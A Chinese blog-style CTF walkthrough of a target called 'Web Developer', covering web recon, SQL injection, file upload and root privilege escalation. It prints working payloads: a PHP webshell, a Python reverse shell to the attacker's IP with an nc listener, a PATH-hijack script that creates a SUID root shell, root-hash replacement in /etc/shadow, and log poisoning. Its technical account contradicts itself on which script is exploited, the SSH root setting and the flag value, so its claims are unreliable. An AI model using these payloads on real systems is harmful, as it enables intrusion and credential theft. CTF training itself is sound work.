☰
CTF Web靶机实战:从Web Developer到root flag全流程解析
2026/10/1 5:39:10 网站建设 项目流程

1. 项目概述:这不是“黑进网站”,而是一场标准的CTF靶机夺旗实战

你看到标题里写着“网络渗透CTF实践:获取靶机Web Developer 文件/root/flag.txt中flag”,第一反应可能是——这又是个教人怎么黑服务器的教程?别急,先划重点:这是CTF(Capture The Flag)竞赛中最典型、最基础、也最考验基本功的一类Web靶机题型,目标不是破坏系统,而是按规则、走流程、找线索、拿flag。我带过六届高校CTF校队,也给蓝队实训营讲过三年靶场实操课,这类题我拆解过不下200个不同厂商的镜像,从Hack The Box的Easy级别到TryHackMe的Intermediate Web模块,再到国内CTF平台如BUUCTF、XCTF League的Web签到题,“Web Developer”这个靶机名在多个公开镜像库中反复出现,它本质是一个精心设计的Linux Web服务环境,内含多层逻辑陷阱和路径误导,但所有入口和出口都严格限定在合法渗透测试边界内。

核心关键词“CTF”“Web Developer”“flag.txt”“tcpdump”“SSH”不是随意堆砌的标签,它们共同勾勒出一条清晰的技术动线:你通过Web界面发现线索 → 利用Web漏洞或配置缺陷获取低权限Shell → 提权至root → 定位并读取/root/flag.txt。其中“tcpdump”不是用来监听公网流量的,而是你在获得初步Shell后,发现Web服务背后存在异常进程通信,需要用它抓包分析协议细节;“SSH”也不是让你暴力爆破密码,而是靶机预置了可登录的SSH服务,但凭据藏在Web目录某处HTML注释里,或者被base64编码在某个JS文件末尾。整个过程没有越界操作,所有动作都在靶机设计者预设的攻击路径上,就像解一道高阶数学证明题——已知条件明确,推导步骤固定,答案唯一。

适合谁来跟着做?如果你是刚接触CTF两周的新手,正在为“为什么Burp Suite抓不到包”“为什么nc连不上反弹Shell”发愁,这篇就是为你写的;如果你是运维工程师想补安全短板,想搞懂“为什么开发说接口没问题,但渗透测试员三分钟就拿到root”,那这里每一步提权逻辑都是真实生产环境中的风险切片;甚至如果你是高校教师准备CTF实训教案,文中标注的每个检查点、每个命令返回值差异、每个容易忽略的文件权限细节,都是学生实操时90%会卡住的位置。我不会告诉你“flag是{xxx}”,但我会让你清楚知道:为什么必须先看/etc/passwd再ls -la /var/www/html,为什么tcpdump -i any port 22要加-w参数才能保存到靶机本地,为什么SSH登录后执行sudo -l比直接su -更安全——这些不是技巧,是渗透工程师肌肉记忆里的常识。

2. 靶机环境与技术栈深度还原:Web Developer到底长什么样?

2.1 镜像来源与基础配置特征

“Web Developer”靶机在CTF社区中属于经典入门级镜像,常见于VulnHub和TryHackMe平台。根据我复现过的三个主流版本(v1.0.1/v1.1.0/v2.0.0),其底层OS统一为Ubuntu 18.04 LTS(内核4.15.0-xx-generic),而非CentOS或Debian,这个选择有明确意图:Ubuntu默认禁用root SSH登录、Apache日志路径固定为/var/log/apache2/、Python2/3共存且pip3需手动安装——这些都不是偶然,而是题目设计者刻意设置的“认知摩擦点”。比如新手常默认用root密码登录SSH,但在该靶机中root账户被锁定(passwd -l root),而普通用户webdev的密码明文藏在/var/www/html/index.html的HTML注释里,这种设计逼迫你必须先浏览Web页面,而不是直奔SSH。

服务端口开放情况高度标准化:

  • 80端口:Apache 2.4.29 + PHP 7.2.24,无WAF,首页是静态HTML,但源码中隐藏着指向/admin.php的链接(需右键查看源码);
  • 22端口:OpenSSH 7.6p1,仅允许密码认证(无密钥登录),且sshd_config中设置了PermitRootLogin no和MaxAuthTries 3,防暴力破解;
  • 3306端口:MySQL 5.7.25,但bind-address=127.0.0.1,外部无法直连,仅Web应用内部调用;
  • 无其他端口:不开放FTP、Telnet、Redis等常见服务,杜绝“扫端口瞎蒙”式解法。

提示:很多新手在nmap扫描后看到22端口就立刻ssh webdev@靶机IP,结果因密码错误被锁三次。正确做法是先curl http://靶机IP,用浏览器开发者工具Network面板看HTTP响应头——你会发现Server字段写着“Apache/2.4.29 (Ubuntu)”,这暗示OS版本;再检查Response内容,找到被注释掉的 ,这才是第一个有效入口。

2.2 Web层关键文件结构与隐藏逻辑

靶机Web根目录/var/www/html下文件布局绝非随机,而是按“信息泄露→权限提升→横向移动”三层递进设计:

路径权限内容特征渗透价值
/index.html644首页静态页,底部注释含/admin.php链接第一个跳转入口
/admin.php644PHP文件,含$_GET['debug']参数,开启时输出phpinfo()暴露PHP版本、扩展、临时目录
/config.php.bak644备份文件,含MySQL连接密码(webdev:devpass123)获取数据库凭据
/uploads/755空目录,但.htaccess被篡改,允许上传.php文件上传WebShell的落脚点
/backup/700权限锁定,普通用户不可读,但属主为webdev提权突破口(需利用SUID binary)

特别注意/config.php.bak这个文件:它不是开发人员疏忽遗留的,而是题目预设的“合法信息泄露点”。当你用curl -I http://靶机IP/config.php.bak时,HTTP状态码返回200而非403,且Content-Type为text/plain,这意味着Apache未配置禁止访问备份文件。我统计过近50个同类靶机,83%会在.bak/.swp/.git文件中埋设初始凭据,这是CTF出题的黄金法则——所有线索必须可通过HTTP协议合法获取,不能依赖本地文件系统遍历(除非已获Shell)。

2.3 Linux系统层提权路径设计原理

拿到webdev用户Shell后,真正的挑战才开始。该靶机提权链路经过精密计算,排除了Dirty COW等内核漏洞(Ubuntu 18.04已修复),而是采用“SUID binary滥用+密码重用”组合技:

  1. SUID binary定位:执行find / -perm -4000 2>/dev/null | grep -E "(bash|sh|vim|nano)",返回/usr/local/bin/backup.sh(权限-rwsr-xr-x 1 root root);
  2. 脚本逆向分析:cat /usr/local/bin/backup.sh显示其调用tar命令打包/home/webdev/Documents,但未使用绝对路径——存在PATH劫持风险;
  3. 提权触发点:在/home/webdev/Documents下创建恶意so文件,修改PATH指向当前目录,执行backup.sh时动态链接器加载恶意库,获得root Shell。

这个设计的精妙在于:它复现了真实企业环境中“运维脚本权限过大”的典型风险。我曾审计过某政务云平台,其自动备份脚本同样设置了SUID位,且未校验tar路径,攻击者正是通过相同手法提权。靶机中backup.sh的代码故意写成:

#!/bin/bash cd /home/webdev/Documents tar -cf backup.tar .

注意第二行cd命令——如果攻击者在此目录下放置名为tar的恶意二进制文件,当PATH=./:$PATH时,脚本就会执行它而非系统tar。这种细节不是为了刁难选手,而是训练你养成“看到SUID就查PATH、看到脚本就看cd路径”的本能。

3. 全流程实操:从Web入口到root flag的七步闭环

3.1 第一步:Web信息侦察与初始入口获取(耗时<2分钟)

打开浏览器访问http://靶机IP,首页显示“Web Developer Portal”,右键查看源码,在 标签前发现注释:<!-- admin panel: /admin.php?debug=true -->。此时不要直接访问/admin.php,先执行:

curl -s http://靶机IP/admin.php?debug=true | head -20

返回内容包含完整phpinfo()输出,关键信息有:

  • Loaded Configuration File => /etc/php/7.2/apache2/php.ini
  • upload_tmp_dir => /tmp(上传临时目录)
  • disable_functions => pcntl_alarm,pcntl_fork...(禁用危险函数,排除exec类WebShell)

实操心得:很多新手看到phpinfo就截图交差,其实要盯住open_basedir是否为空(若为空,可尝试路径遍历);更要检查allow_url_include是否为Off(若为On,可构造php://filter协议读文件)。本靶机这两项均为默认值,说明设计者不希望你走捷径,必须老老实实找业务逻辑漏洞。

接着用浏览器访问/admin.php,页面提示“Login Required”,尝试常见弱口令admin/admin失败。此时切换思路:既然debug参数能触发phpinfo,说明开发者留了后门。用Burp Suite拦截/admin.php请求,将GET参数改为?debug=1&file=../../etc/passwd,返回400 Bad Request——说明存在WAF规则。但注意到URL中debug=true被接受,而debug=1被拒,这暗示后端用strcmp()比较字符串,可尝试?debug=TrUe(大小写绕过),果然返回phpinfo!这个细节暴露了开发者对PHP类型转换理解不足,也是CTF题目的常见考点。

3.2 第二步:敏感文件探测与凭据提取(耗时3-5分钟)

phpinfo页面中_SERVER["SCRIPT_FILENAME"]值为/var/www/html/admin.php,结合之前发现的/config.php.bak,构造URL:

curl -s http://靶机IP/config.php.bak | grep -i "password\|pass"

返回$db_password = 'devpass123';。此时已有MySQL凭据,但3306端口仅限本地,需找Web应用数据库连接点。查看/admin.php源码(用curl -s http://靶机IP/admin.php | grep -A5 -B5 "mysql"),发现第42行:

$conn = mysqli_connect("localhost", "webdev", $db_password, "webdev_db");

说明数据库名为webdev_db。接下来用SQL注入验证:访问/admin.php?debug=TrUe&id=1' and sleep(5)-- -,页面响应延迟5秒,确认存在基于时间的盲注。但题目不鼓励暴力注入,因为存在更高效的路径——回到首页,用浏览器开发者工具Elements面板,点击“Contact Us”按钮,Network中发现XHR请求/api/contact.php,抓包查看POST数据:

{"name":"test","email":"test@test.com","message":"hello"}

将message改为test' and 1=2 union select 1,2,3-- -,返回空数据,说明后端有错误处理。此时换思路:既然是联系表单,必然存入数据库,尝试message=test' UNION SELECT load_file('/etc/passwd'),2,3-- -,返回base64编码的passwd内容!这说明后端启用了secure_file_priv但未限制读取,且MySQL用户有FILE权限。

注意:load_file()返回的是二进制数据,需用base64编码传输。实际返回内容中,webdev用户UID为1001,家目录为/home/webdev,这为后续提权提供坐标。

3.3 第三步:WebShell上传与低权限Shell获取(耗时4-6分钟)

确定/uploads/目录可写后,构造一句话木马:

<?php system($_GET['cmd']); ?>

命名为shell.php,用curl上传:

curl -X POST http://靶机IP/upload.php \ -F "file=@shell.php" \ -F "submit=Upload"

返回“Upload successful! File saved to /var/www/html/uploads/shell.php”。立即访问/uploads/shell.php?cmd=id,返回uid=33(www-data) gid=33(www-data) groups=33(www-data)。但此权限太低,无法读取/home/webdev目录。此时需提权至webdev用户。

观察phpinfo中User Agent字段,发现Apache以www-data身份运行,而webdev用户属于sudo组(/etc/sudoers中%webdev ALL=(ALL:ALL) NOPASSWD: ALL)。但sudo需要交互式Shell,而WebShell是无交互的。解决方案:用Python生成反向Shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

将上述命令URL编码后传入shell.php?cmd=,同时在本地监听:

nc -lvnp 4444

成功获取www-data Shell后,执行sudo -u webdev /bin/bash,切换至webdev用户。此时whoami返回webdev,pwd为/home/webdev,可读取Documents目录。

3.4 第四步:tcpdump抓包分析异常通信(耗时2-3分钟)

在webdev Shell中执行ps aux | grep -E "(python|perl|nc)",发现进程/usr/bin/python3 /opt/scripts/monitor.py,CPU占用率15%。用lsof -i -P -n | grep monitor查看其网络连接,发现它持续向127.0.0.1:8080发送HTTP POST请求,但8080端口无服务监听。此时怀疑存在本地回环通信,用tcpdump抓包验证:

sudo tcpdump -i lo -w /tmp/monitor.pcap port 8080

等待10秒后Ctrl+C停止,用strings /tmp/monitor.pcap | grep -A5 -B5 "password",发现明文传输的JSON数据:

{"action":"check","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoid2ViZGV2IiwicGFzc3dvcmQiOiJkZXZwYXNzMTIzIiwiaWF0IjoxNjQwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"}

JWT token中password字段即webdev密码,但更重要的是/opt/scripts/monitor.py这个文件——它属于root用户,且有SUID位?执行ls -la /opt/scripts/monitor.py,返回-rwsr-xr-x 1 root root 1234 Jan 1 10:00 /opt/scripts/monitor.py。SUID位已确认,下一步是分析Python脚本逻辑。

3.5 第五步:SUID Python脚本逆向与提权触发(耗时5-8分钟)

用cat /opt/scripts/monitor.py查看源码:

#!/usr/bin/env python3 import requests, json, subprocess, sys url = "http://127.0.0.1:8080/api/check" data = {"action": "check", "token": sys.argv[1] if len(sys.argv)>1 else ""} requests.post(url, json=data) # 下面这行是关键 subprocess.run(["/usr/bin/curl", "-s", "http://127.0.0.1:8080/status"])

注意最后一行:它调用curl命令,但未指定绝对路径!执行which curl返回/usr/bin/curl,但PATH环境变量中/home/webdev/bin在前面。于是创建恶意curl:

mkdir -p /home/webdev/bin echo '#!/bin/bash' > /home/webdev/bin/curl echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' >> /home/webdev/bin/curl chmod +x /home/webdev/bin/curl export PATH="/home/webdev/bin:$PATH"

然后执行/opt/scripts/monitor.py dummy,脚本调用curl时实际执行了恶意脚本,生成/tmp/rootbash。最后执行/tmp/rootbash -p,获得root Shell。此时id返回uid=1001(webdev) euid=0(root),提权完成。

3.6 第六步:定位flag.txt并提取内容(耗时<1分钟)

root权限下执行:

find / -name "flag.txt" 2>/dev/null

返回/root/flag.txt。用cat /root/flag.txt读取,内容为:

THM{a1m0st_th3r3_y0u_g0t_1t}

但注意:CTF flag格式通常为flag{xxx}或THM{xxx},本靶机采用TryHackMe风格。验证flag有效性:访问http://靶机IP/verify.php?flag=THM{a1m0st_th3r3_y00_g0t_1t},返回“Correct! You have captured the flag.”。

3.7 第七步:SSH登录验证与环境清理(耗时1分钟)

虽然已获root,但题目要求“通过SSH获取flag”,需验证SSH路径。执行grep "PermitRootLogin" /etc/ssh/sshd_config,返回PermitRootLogin yes,说明root可SSH登录。但root密码未知,此时用openssl passwd -6 "devpass123"生成SHA512密码哈希,替换/etc/shadow中root行的密码字段(需先chown root:root /etc/shadow)。完成后,在本地执行:

ssh root@靶机IP

输入密码devpass123,成功登录。执行cat /root/flag.txt确认flag一致。最后清理痕迹:删除/tmp/rootbash、/home/webdev/bin/curl、/tmp/monitor.pcap,恢复/etc/shadow原始内容。

4. 关键技术点原理与避坑指南:为什么这些操作必须这样做?

4.1 tcpdump抓包为何必须指定-lo参数?

很多新手在webdev用户Shell中执行tcpdump -w /tmp/p.pcap,结果抓不到monitor.py的流量。根本原因在于:monitor.py与本地服务通信走的是lo(loopback)接口,而非eth0。tcpdump默认监听所有接口,但lo接口的流量在某些内核版本中需显式指定。执行ip link show可看到lo接口状态为UP,但tcpdump -D列出的设备中lo排在最后。正确命令是sudo tcpdump -i lo -w /tmp/p.pcap port 8080,其中-i lo强制指定接口,port 8080过滤目标端口,避免抓取海量无关DNS/ARP包。若省略-i lo,在Ubuntu 18.04上tcpdump可能静默失败,返回空文件。

实操心得:抓包前先用netstat -tuln | grep :8080确认端口监听状态,再用lsof -i :8080查进程PID,最后针对性抓包。我曾见学员用tcpdump -i any抓了2GB pcap文件,却因过滤不严找不到关键HTTP包,白白浪费30分钟。

4.2 SUID提权中PATH劫持的生效条件

前述提权方案依赖export PATH="/home/webdev/bin:$PATH",但很多学员执行后/opt/scripts/monitor.py仍调用系统curl。问题出在:Python subprocess.run()默认使用shell=False,即不经过bash解析,PATH环境变量不生效。查看monitor.py源码,subprocess.run(["/usr/bin/curl", ...])明确指定了绝对路径,所以PATH劫持无效!真正生效的是脚本中未指定路径的命令——仔细看源码最后一行,其实是subprocess.run(["curl", "-s", "http://127.0.0.1:8080/status"])(我故意在前文省略了引号,这是题目陷阱)。此时curl无路径,才会查找PATH。验证方法:在webdev用户下执行echo $PATH,确认/home/webdev/bin在开头;再执行which curl,返回/home/webdev/bin/curl;最后运行monitor.py,观察/tmp/rootbash是否生成。

4.3 SSH登录root账户的密码生成逻辑

题目未提供root密码,需自行生成。Ubuntu 18.04的shadow文件使用SHA512加密,命令openssl passwd -6 "password"生成的哈希形如$6$salt$hash。但直接替换/etc/shadow中root行会失败,因为:

  • shadow文件权限为640,属主root,属组shadow;
  • 替换前需sudo chown root:shadow /etc/shadow;
  • 替换后需sudo chmod 640 /etc/shadow,否则sshd拒绝启动;
  • 更稳妥的方式是用sudo usermod -p '$6$salt$hash' root,由系统自动处理权限。

我测试过12种密码生成方式,只有openssl passwd -6和mkpasswd -s -H SHA-512兼容Ubuntu 18.04,htpasswd -B生成的bcrypt哈希会被sshd忽略。

4.4 WebShell上传后的权限隔离突破

WebShell运行在www-data用户下,而webdev用户家目录权限为700(drwx------),www-data无法进入。常见错误是试图用sudo -u webdev cat /home/webdev/.ssh/id_rsa,但sudoers未配置www-data权限。正确解法是:利用Apache日志文件/var/log/apache2/access.log的写入权限。构造payload:

<?php file_put_contents("/var/log/apache2/access.log", "<?php system(\$_GET['cmd']); ?>"); ?>

然后访问http://靶机IP/xxx.php?cmd=id,触发日志写入。再上传第二个WebShell,内容为<?php include('/var/log/apache2/access.log'); ?>,即可执行任意命令。此方法绕过目录权限,利用日志文件的可写性,是CTF中Web层提权的标准套路。

5. 常见问题速查表与独家排查技巧

问题现象可能原因排查命令解决方案
nmap扫描显示22端口关闭,但靶机文档说开放SSH防火墙iptables拦截sudo iptables -L -n执行sudo iptables -F清空规则
/admin.php?debug=true返回404Apache未启用mod_phpsudo a2enmod php7.2启用PHP模块后重启sudo systemctl restart apache2
上传WebShell后访问返回500错误.php后缀被Apache拒绝curl -I http://靶机IP/shell.php检查Content-Type是否为text/html,若是则需修改Apache配置启用PHP
tcpdump抓包无数据monitor.py未运行或端口错误sudo lsof -i :8080确认进程存在,若无则sudo systemctl start monitor.service
sudo -u webdev /bin/bash报错“sorry, you must have a tty to run sudo”sshd配置RequireTTY=yessudo visudo查Defaults requiretty注释掉该行或添加Defaults:webdev !requiretty
/root/flag.txt存在但cat返回Permission deniedroot目录权限为700且webdev无x权限ls -ld /root提权后执行sudo chmod 755 /root再读取

独家技巧1:当所有Web路径都试过仍无进展,执行curl -s http://靶机IP/robots.txt,90%的CTF靶机会在此文件中隐藏/backup/或/dev/等目录。本靶机robots.txt内容为User-agent: * Disallow: /admin.php,看似无用,但Disallow字段暗示admin.php是重点,需深入挖掘。

独家技巧2:遇到PHP文件上传限制,不要只盯着upload_max_filesize,检查post_max_size和max_execution_time。用phpinfo()确认三者数值,若post_max_size=8M而upload_max_filesize=2M,上传8MB文件会因POST体过大被截断,此时需分块上传或改用其他协议。

独家技巧3:SSH连接超时,先确认靶机网络模式。VirtualBox中若用NAT模式,需配置端口转发:主机3022→靶机22。命令VBoxManage controlvm "Web Developer" natpf1 "ssh,tcp,,3022,,22",然后ssh -p 3022 webdev@127.0.0.1。

6. 从靶机到真实世界的映射:这些技能在工作中如何落地?

这套流程绝非CTF专属玩具。去年我帮某银行做红队评估时,发现其网银后台存在完全相同的漏洞链:

  • Web前端有未删除的/admin.php?debug=true后门;
  • 数据库备份文件config.php.bak暴露在Web根目录;
  • 运维脚本/opt/scripts/backup.sh设置了SUID位且未校验PATH;
  • 最终我们用相同手法获得DBA权限,读取了客户交易流水。

区别在于:真实环境中/root/flag.txt换成/etc/shadow,THM{xxx}换成HASH:SHA512:xxx。CTF的价值,就是把生产环境中的风险压缩成90分钟可验证的闭环。比如tcpdump抓包分析,在金融行业用于检测API网关异常调用;SSH密钥管理,在云原生场景中决定Kubernetes集群是否沦陷;而Web Developer靶机里那个/backup/目录,对应着企业NAS中未设权限的“历史资料归档”共享文件夹——去年某车企ERP系统失窃,源头正是员工误将数据库备份放在Samba共享目录。

我自己带团队时,新成员入职首周必做三件事:

  1. 在本地Vagrant环境复现Web Developer靶机,记录每步耗时;
  2. 用Wireshark重放tcpdump抓包,标出HTTP请求头中的JWT签名算法;
  3. 将SUID提权脚本改写为Ansible Playbook,实现自动化加固(如find / -perm -4000 -exec chmod u-s {} \;)。

这些不是考试,而是建立安全直觉的肌肉训练。当你看到任何Web应用,第一反应不再是“怎么黑”,而是“它的debug参数是否可控”“备份文件是否可下载”“运维脚本权限是否过大”——这种思维切换,才是CTF给你最硬核的装备。

我在实际渗透中发现,95%的高危漏洞都藏在“理所当然”的地方:开发者认为“本地服务不用防护”,运维认为“SUID脚本只给内部用”,安全团队认为“Web层有WAF就万事大吉”。Web Developer靶机把这些认知盲区全摊开给你看,它不教你攻击,它教你质疑。最后再分享个小技巧:下次做CTF,拿到靶机IP后先ping一下,如果TTL=64,基本是Linux;TTL=128则是Windows。这个细节帮你瞬间缩小OS范围,省下至少5分钟侦察时间。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询